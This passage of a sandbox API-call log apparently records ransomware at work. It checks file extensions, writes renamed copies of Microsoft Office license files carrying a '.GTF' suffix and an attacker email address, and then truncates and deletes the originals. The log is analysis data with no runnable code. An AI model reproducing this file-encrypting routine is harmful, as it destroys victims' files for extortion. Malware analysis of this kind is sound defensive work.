	[0175.630] lstrlenW (lpString=".zip") returned 4
	[0175.630] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.630] lstrlenW (lpString=".rar") returned 4
	[0175.630] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.630] lstrlenW (lpString=".bz2") returned 4
	[0175.631] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.631] lstrlenW (lpString=".7z") returned 3
	[0175.631] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.631] lstrlenW (lpString=".dbf") returned 4
	[0175.631] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.631] lstrlenW (lpString=".1cd") returned 4
	[0175.631] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.631] lstrlenW (lpString=".jpg") returned 4
	[0175.631] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.631] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.631] lstrlenW (lpString="MondoR_SubTest-ppd.xrm-ms") returned 25
	[0175.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.632] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26524) returned 1
	[0175.632] CloseHandle (hObject=0x3dc) returned 1
	[0175.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220
	[0175.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.633] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.633] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0175.634] GetLastError () returned 0x0
	[0175.634] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x679c, lpOverlapped=0x0) returned 1
	[0175.688] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0175.690] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.690] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0175.690] SetEndOfFile (hFile=0x48c) returned 1
	[0175.908] CloseHandle (hObject=0x48c) returned 1
	[0175.913] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.913] SetEndOfFile (hFile=0x3dc) returned 1
	[0175.920] CloseHandle (hObject=0x3dc) returned 1
	[0175.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1
	[0175.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.925] lstrlenW (lpString=".doc") returned 4
	[0175.925] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.925] lstrlenW (lpString=".docx") returned 5
	[0175.925] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.925] lstrlenW (lpString=".pdf") returned 4
	[0175.925] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.925] lstrlenW (lpString=".xls") returned 4
	[0175.925] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.925] lstrlenW (lpString=".xlsx") returned 5
	[0175.925] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.925] lstrlenW (lpString=".ppt") returned 4
	[0175.925] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.925] lstrlenW (lpString=".zip") returned 4
	[0175.925] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.925] lstrlenW (lpString=".rar") returned 4
	[0175.925] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString=".bz2") returned 4
	[0175.926] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString=".7z") returned 3
	[0175.926] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.926] lstrlenW (lpString=".dbf") returned 4
	[0175.926] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.926] lstrlenW (lpString=".1cd") returned 4
	[0175.926] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.926] lstrlenW (lpString=".jpg") returned 4
	[0175.926] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.926] lstrlenW (lpString=".doc") returned 4
	[0175.926] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString=".docx") returned 5
	[0175.926] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.926] lstrlenW (lpString=".pdf") returned 4
	[0175.926] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString=".xls") returned 4
	[0175.926] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString=".xlsx") returned 5
	[0175.926] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.926] lstrlenW (lpString=".ppt") returned 4
	[0175.926] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.926] lstrlenW (lpString=".zip") returned 4
	[0175.926] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.926] lstrlenW (lpString=".rar") returned 4
	[0175.927] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.927] lstrlenW (lpString=".bz2") returned 4
	[0175.927] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.927] lstrlenW (lpString=".7z") returned 3
	[0175.927] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.927] lstrlenW (lpString=".dbf") returned 4
	[0175.927] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.927] lstrlenW (lpString=".1cd") returned 4
	[0175.927] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0175.927] lstrlenW (lpString=".jpg") returned 4
	[0175.927] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.927] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.927] lstrlenW (lpString="MondoR_SubTest2-ppd.xrm-ms") returned 26
	[0175.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.928] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26525) returned 1
	[0175.928] CloseHandle (hObject=0x3dc) returned 1
	[0175.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220
	[0175.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.929] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.929] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.930] GetLastError () returned 0x0
	[0175.930] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x679d, lpOverlapped=0x0) returned 1
	[0175.933] WriteFile (in: hFile=0x58c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0175.936] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.936] WriteFile (in: hFile=0x58c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x108, lpOverlapped=0x0) returned 1
	[0175.936] SetEndOfFile (hFile=0x58c) returned 1
	[0175.936] CloseHandle (hObject=0x58c) returned 1
	[0175.936] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.936] SetEndOfFile (hFile=0x3dc) returned 1
	[0175.939] CloseHandle (hObject=0x3dc) returned 1
	[0175.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1
	[0175.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.941] lstrlenW (lpString=".doc") returned 4
	[0175.941] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.941] lstrlenW (lpString=".docx") returned 5
	[0175.941] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.941] lstrlenW (lpString=".pdf") returned 4
	[0175.941] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.941] lstrlenW (lpString=".xls") returned 4
	[0175.941] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.941] lstrlenW (lpString=".xlsx") returned 5
	[0175.941] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.942] lstrlenW (lpString=".ppt") returned 4
	[0175.942] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.942] lstrlenW (lpString=".zip") returned 4
	[0175.942] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString=".rar") returned 4
	[0175.942] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString=".bz2") returned 4
	[0175.942] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString=".7z") returned 3
	[0175.942] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.942] lstrlenW (lpString=".dbf") returned 4
	[0175.942] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.942] lstrlenW (lpString=".1cd") returned 4
	[0175.942] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.942] lstrlenW (lpString=".jpg") returned 4
	[0175.942] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.942] lstrlenW (lpString=".doc") returned 4
	[0175.942] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString=".docx") returned 5
	[0175.942] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.942] lstrlenW (lpString=".pdf") returned 4
	[0175.942] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString=".xls") returned 4
	[0175.942] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.942] lstrlenW (lpString=".xlsx") returned 5
	[0175.942] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.943] lstrlenW (lpString=".ppt") returned 4
	[0175.943] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.943] lstrlenW (lpString=".zip") returned 4
	[0175.943] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.943] lstrlenW (lpString=".rar") returned 4
	[0175.943] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.943] lstrlenW (lpString=".bz2") returned 4
	[0175.943] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.943] lstrlenW (lpString=".7z") returned 3
	[0175.943] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.943] lstrlenW (lpString=".dbf") returned 4
	[0175.943] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.943] lstrlenW (lpString=".1cd") returned 4
	[0175.943] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0175.943] lstrlenW (lpString=".jpg") returned 4
	[0175.943] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.943] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.943] lstrlenW (lpString="MondoR_SubTest2-ul-oob.xrm-ms") returned 29
	[0175.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.944] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11595) returned 1
	[0175.944] CloseHandle (hObject=0x3dc) returned 1
	[0175.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220
	[0175.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.945] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.945] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.946] GetLastError () returned 0x0
	[0175.946] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d4b, lpOverlapped=0x0) returned 1
	[0175.948] WriteFile (in: hFile=0x58c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0175.949] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.950] WriteFile (in: hFile=0x58c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0175.950] SetEndOfFile (hFile=0x58c) returned 1
	[0175.950] CloseHandle (hObject=0x58c) returned 1
	[0175.950] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.950] SetEndOfFile (hFile=0x3dc) returned 1
	[0175.955] CloseHandle (hObject=0x3dc) returned 1
	[0175.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1
	[0175.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0175.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0175.956] lstrlenW (lpString=".doc") returned 4
	[0175.956] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString=".docx") returned 5
	[0175.957] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.957] lstrlenW (lpString=".pdf") returned 4
	[0175.957] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString=".xls") returned 4
	[0175.957] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString=".xlsx") returned 5
	[0175.957] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.957] lstrlenW (lpString=".ppt") returned 4
	[0175.957] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0175.957] lstrlenW (lpString=".zip") returned 4
	[0175.957] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString=".rar") returned 4
	[0175.957] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString=".bz2") returned 4
	[0175.957] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString=".7z") returned 3
	[0175.957] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0175.957] lstrlenW (lpString=".dbf") returned 4
	[0175.957] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0175.957] lstrlenW (lpString=".1cd") returned 4
	[0175.957] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0175.957] lstrlenW (lpString=".jpg") returned 4
	[0175.957] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
